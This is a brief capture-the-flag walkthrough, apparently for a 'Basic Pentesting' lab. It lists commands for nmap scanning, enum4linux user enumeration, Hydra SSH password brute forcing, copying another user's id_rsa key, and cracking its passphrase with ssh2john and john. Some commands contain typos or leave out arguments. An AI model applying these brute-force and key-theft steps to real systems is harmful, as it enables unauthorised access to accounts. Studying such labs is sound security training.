# BASIC PENTESTING

### 1)first scan with NMAP

nmap -T4 -p- -sV -sC -O <IP>

### 2) DIRECTORY ENUMERATION

dirbuster&

paste the URL link in box and give wordlists and see result

### 3) RUN enum4linux tool to get usernames and workdomain

enum4linux -a <IP>

### 4)BRUTEFORCE PASSWORD FOR USER WE GOT IN EUNM4LINUX

hydra -l username/username.txt -P /rockyou.txt ssh

### 5) After Getting password for user login with ssh

ssh user@[IP](@peerpush)

get the id\_rsa file of other user

### 6) now crack the id\_rsa file pass

copy id\_rsa text and in our terminal make a file name as id\_rsa and paste its content in it

convert id\_rsa file in hash with ssh2john tool - ssh2john id\_rsa > key

now we have hash in KEY file

now

john jey --worlkist=/rockyou.txt

now we got the password for other user

now chmod 600 id\_rsa

now ssh 2nduser@[IP](@peerpush) and enter the password and get the flag